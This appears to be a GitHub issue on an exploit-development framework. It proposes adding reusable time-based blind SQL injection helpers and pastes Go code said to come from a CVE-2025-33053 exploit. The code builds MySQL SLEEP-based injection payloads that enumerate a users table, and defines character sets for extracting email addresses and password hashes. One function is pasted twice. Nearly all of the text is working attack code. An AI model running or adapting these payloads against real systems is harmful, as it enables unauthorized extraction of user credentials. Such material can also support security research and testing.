-
Notifications
You must be signed in to change notification settings - Fork 38
Open
Labels
Description
SQL injections come up a lot and I often reuse logic in individual exploits. These should be moved into go-exploit
. Here is some snippets from CVE-2025-33053 for my time-based blind logic:
var (
MaxRequests = 10000
SleepStart = 5
// ordered by most likely to least likely for special.
EmailCandidates = []byte(`abcdefghijklmnopqrstuvwxyz@.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!#$%&'*/=?^_{|}~`)
// ordered by most likely for the crypt stored hash.
PasswordCandidates = []byte(`$y./0123456789abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ@+!#%&'*=?^_{|}~`)
)
type ResponseCorpus struct {
Requests []Request
Maximum int64
Minimum int64
Average int64
Threshold int64
}
type Request struct {
SleepTime int
ResponseTime int64
}
func getUserCount(conf *config.Config, sleepTime int) int {
v := 1
// My MySQL might be a bit shaky here, but if there are over 99 this might fail
for {
_, ok, dur := sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
if !ok {
return -1
}
if dur > time.Duration(sleepTime*int(time.Second)) {
_, _, dur = sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v+1)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
if dur < time.Duration(sleepTime*int(time.Second)) {
return v
}
break
}
v++
}
return -1
}
func establishBaseline(conf *config.Config) (int, bool) {
use := 0
// A little over engineered here because I was trying to lay the groundwork for other time-based
// blind SQLi tooling. It could be simplified a bit and the extra structs could be moved out,
// but I want keep it for basing the SQL tooling off of/remind myself.
corpus := ResponseCorpus{}
for i := SleepStart; i >= 1; i-- {
resp, ok, dur := sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(i)+")))"+random.RandLetters(3)+")")
if !ok || resp.StatusCode != 200 {
return 0, false
}
use = i
if dur < time.Duration(i*int(time.Second)) {
break
}
corpus.Requests = append(corpus.Requests, Request{
SleepTime: i,
ResponseTime: dur.Nanoseconds(),
})
if dur.Nanoseconds() > corpus.Maximum {
corpus.Maximum = dur.Nanoseconds()
}
if dur.Nanoseconds() < corpus.Minimum {
corpus.Minimum = dur.Nanoseconds()
}
}
sum := int64(0)
for _, a := range corpus.Requests {
sum += a.ResponseTime
}
corpus.Average = (sum / int64(len(corpus.Requests)))
output.PrintfStatus("Using time based blind sleep time of %d", use)
return use, true
}
func getUserCount(conf *config.Config, sleepTime int) int {
v := 1
// My MySQL might be a bit shaky here, but if there are over 99 this might fail
for {
_, ok, dur := sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
if !ok {
return -1
}
if dur > time.Duration(sleepTime*int(time.Second)) {
_, _, dur = sqlQuery(conf, "1 AND (SELECT 1 FROM (SELECT(SLEEP("+strconv.Itoa(sleepTime)+"-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM pandbRBAC.users),"+strconv.Itoa(v+1)+",1))>9,0,5)))))"+random.RandLetters(3)+")")
if dur < time.Duration(sleepTime*int(time.Second)) {
return v
}
break
}
v++
}
return -1
}
Metadata
Metadata
Assignees
Labels
Type
Projects
Status
No status